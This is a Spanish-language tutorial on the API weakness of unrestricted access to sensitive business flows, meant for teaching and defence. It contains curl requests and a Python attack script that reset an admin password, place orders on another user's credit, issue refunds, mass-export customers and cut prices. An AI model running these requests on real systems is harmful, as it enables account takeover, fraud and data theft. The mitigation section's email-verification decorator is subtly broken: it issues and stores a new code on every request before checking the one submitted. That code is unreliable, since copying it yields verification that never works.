Unrestricted Access to Sensitive Business Flows
CWE: CWE-639
Problema: Acceso a procesos críticos sin restricción o verificación
¿Qué es?
Permitir que usuarios no autorizados ejecuten operaciones críticas del negocio como:
- Crear órdenes sin límite
- Cambiar precios
- Cancelar transacciones ajenas
- Resetear contraseñas sin verificación
- Exportar datos masivamente
Ejemplos
1. Reset de Contraseña Sin Verificación
bash
# Endpoint: POST /api/password-reset
curl -X POST "https://api.app.com/api/password-reset" \
-d '{"email": "admin@app.com", "new_password": "hacker123"}'
# No verifica:
# - Si usuario autenticado
# - Si verifica código de reset
# - Si verifica email
# - Si es su propia cuenta
# Resultado: Admin password cambiada2. Crear Órdenes de Otro Usuario
bash
# POST /api/orders
curl -X POST "https://api.app.com/api/orders" \
-H "Authorization: Bearer attacker_token" \
-d '{
"user_id": 100, # Otro usuario
"items": [{"product": "expensive_item", "qty": 100}],
"shipping": "attacker_address",
"payment_method": "100_user_credit_card"
}'
# Resultado: Orden creada usando crédito de otro usuario3. Cancelación de Transacciones
bash
# POST /api/transactions/12345/cancel
curl -X POST "https://api.app.com/api/transactions/12345/cancel" \
-H "Authorization: Bearer user_token" \
-d '{
"reason": "User requested"
}'
# Si transacción es de otro usuario y no hay verificación:
# Transacción cancelada sin permiso4. Exportar Datos Masivamente
bash
# GET /api/export?format=csv&table=customers&limit=999999
curl "https://api.app.com/api/export?table=customers" \
-H "Authorization: Bearer user_token"
# Sin límites, exporta toda la DB de clientes5. Cambiar Precios de Productos
bash
# PUT /api/products/SKU-123/price
curl -X PUT "https://api.app.com/api/products/SKU-123/price" \
-H "Authorization: Bearer user_token" \
-d '{"price": 0.01}'
# Producto caro ahora cuesta 1 centavoExplotación
Script de Ataque
python
import requests
import json
def exploit_sensitive_flows(api_url, attacker_token):
"""
Explotar procesos sensibles del negocio
"""
session = requests.Session()
session.headers.update({
"Authorization": f"Bearer {attacker_token}",
"Content-Type": "application/json"
})
exploits = [
{
"name": "Reset admin password",
"method": "POST",
"endpoint": "/api/password-reset",
"payload": {
"email": "admin@company.com",
"new_password": "attacker123"
}
},
{
"name": "Create order for another user",
"method": "POST",
"endpoint": "/api/orders",
"payload": {
"user_id": 1,
"items": [{"sku": "expensive", "qty": 1000}],
"use_credit": True
}
},
{
"name": "Refund transaction",
"method": "POST",
"endpoint": "/api/transactions/999/refund",
"payload": {
"amount": 99999.99,
"reason": "Fraud"
}
},
{
"name": "Export all customers",
"method": "GET",
"endpoint": "/api/export?table=customers&format=csv&limit=1000000",
"payload": None
}
]
for exploit in exploits:
try:
if exploit["method"] == "GET":
response = session.get(
f"{api_url}{exploit['endpoint']}",
timeout=10
)
else:
response = session.request(
exploit["method"],
f"{api_url}{exploit['endpoint']}",
json=exploit["payload"],
timeout=10
)
if response.status_code in [200, 201, 204]:
print(f"[✓] VULNERABLE: {exploit['name']}")
print(f" Status: {response.status_code}")
if response.text:
print(f" Response: {response.text[:200]}")
else:
print(f"[-] {exploit['name']}: {response.status_code}")
except Exception as e:
print(f"[!] {exploit['name']}: {str(e)}")
# Ejecutar
exploit_sensitive_flows(
"https://api.app.com",
"attacker_token"
)Mitigación
1. Verificación Multi-Factor para Operaciones Sensibles
python
from functools import wraps
def require_mfa_verification(f):
"""
Requiere MFA para operaciones sensibles
"""
@wraps(f)
def wrapper(*args, **kwargs):
user = get_current_user()
mfa_code = request.json.get('mfa_code')
if not user.mfa_enabled:
return {"error": "MFA required for this operation"}, 403
if not verify_mfa_code(user, mfa_code):
return {"error": "Invalid MFA code"}, 401
# Log operación sensible
audit_log(f"Sensitive operation by {user.id}: {request.path}")
return f(*args, **kwargs)
return wrapper
# Uso
@app.route('/api/password-reset', methods=['POST'])
@require_mfa_verification
def password_reset():
user = get_current_user()
new_password = request.json.get('new_password')
user.password = hash_password(new_password)
db.session.commit()
return {"success": True}2. Límites de Operación
python
def check_operation_limits(user_id, operation_type):
"""
Verificar límites en operaciones
"""
LIMITS = {
'create_order': {'daily': 10, 'hourly': 3},
'export_data': {'daily': 1, 'hourly': 0},
'refund': {'daily': 5, 'hourly': 1}
}
limits = LIMITS.get(operation_type, {})
# Contar en últimas 24h
daily_count = get_operation_count(user_id, operation_type, hours=24)
if daily_count >= limits.get('daily', 0):
return False, f"Daily limit exceeded ({limits['daily']})"
# Contar en última hora
hourly_count = get_operation_count(user_id, operation_type, hours=1)
if hourly_count >= limits.get('hourly', 0):
return False, f"Hourly limit exceeded ({limits['hourly']})"
return True, "OK"
@app.route('/api/orders', methods=['POST'])
def create_order():
user = get_current_user()
allowed, message = check_operation_limits(user.id, 'create_order')
if not allowed:
return {"error": message}, 429
# Crear orden...3. Verificación de Identidad para Cambios Críticos
python
def require_email_verification(f):
"""
Requiere verificación por email para cambios críticos
"""
@wraps(f)
def wrapper(*args, **kwargs):
user = get_current_user()
verification_code = request.json.get('verification_code')
# Enviar código por email
code = generate_verification_code()
send_email(user.email, f"Verification code: {code}")
# Guardar temporal
store_temp_code(user.id, code, expires_in=900)
# Verificar en próxima solicitud
if not verify_code(user.id, verification_code):
return {"error": "Invalid verification code"}, 401
return f(*args, **kwargs)
return wrapper4. Validación de Datos Críticos
python
@app.route('/api/products/<sku>/price', methods=['PUT'])
@require_role('admin')
def update_product_price(sku):
"""
Cambiar precio con validaciones
"""
product = Product.query.filter_by(sku=sku).first()
new_price = request.json.get('price')
# Validaciones
if new_price <= 0:
return {"error": "Price must be > 0"}, 400
# No permitir cambios extremos
price_change_percent = abs(new_price - product.price) / product.price * 100
if price_change_percent > 50: # Máx 50% de cambio
return {
"error": "Price change too extreme",
"requires_approval": True,
"change_percent": price_change_percent
}, 400
# Requiere aprobación si > 25%
if price_change_percent > 25:
request_approval(product.id, new_price)
return {"message": "Change requires approval"}, 202
# Cambio permitido
product.price = new_price
audit_log(f"Price changed: {product.sku} {product.price} -> {new_price}")
db.session.commit()
return {"success": True}Checklist
- [ ] MFA en operaciones sensibles (password reset, refund)
- [ ] Límites diarios/horarios en operaciones
- [ ] Verificación de email para cambios críticos
- [ ] Logging y auditoría de todas las operaciones
- [ ] Validación de datos (no permitir cambios extremos)
- [ ] Aprobaciones para operaciones de alto valor
- [ ] Rate limiting específico por operación
- [ ] Alertas para operaciones sospechosas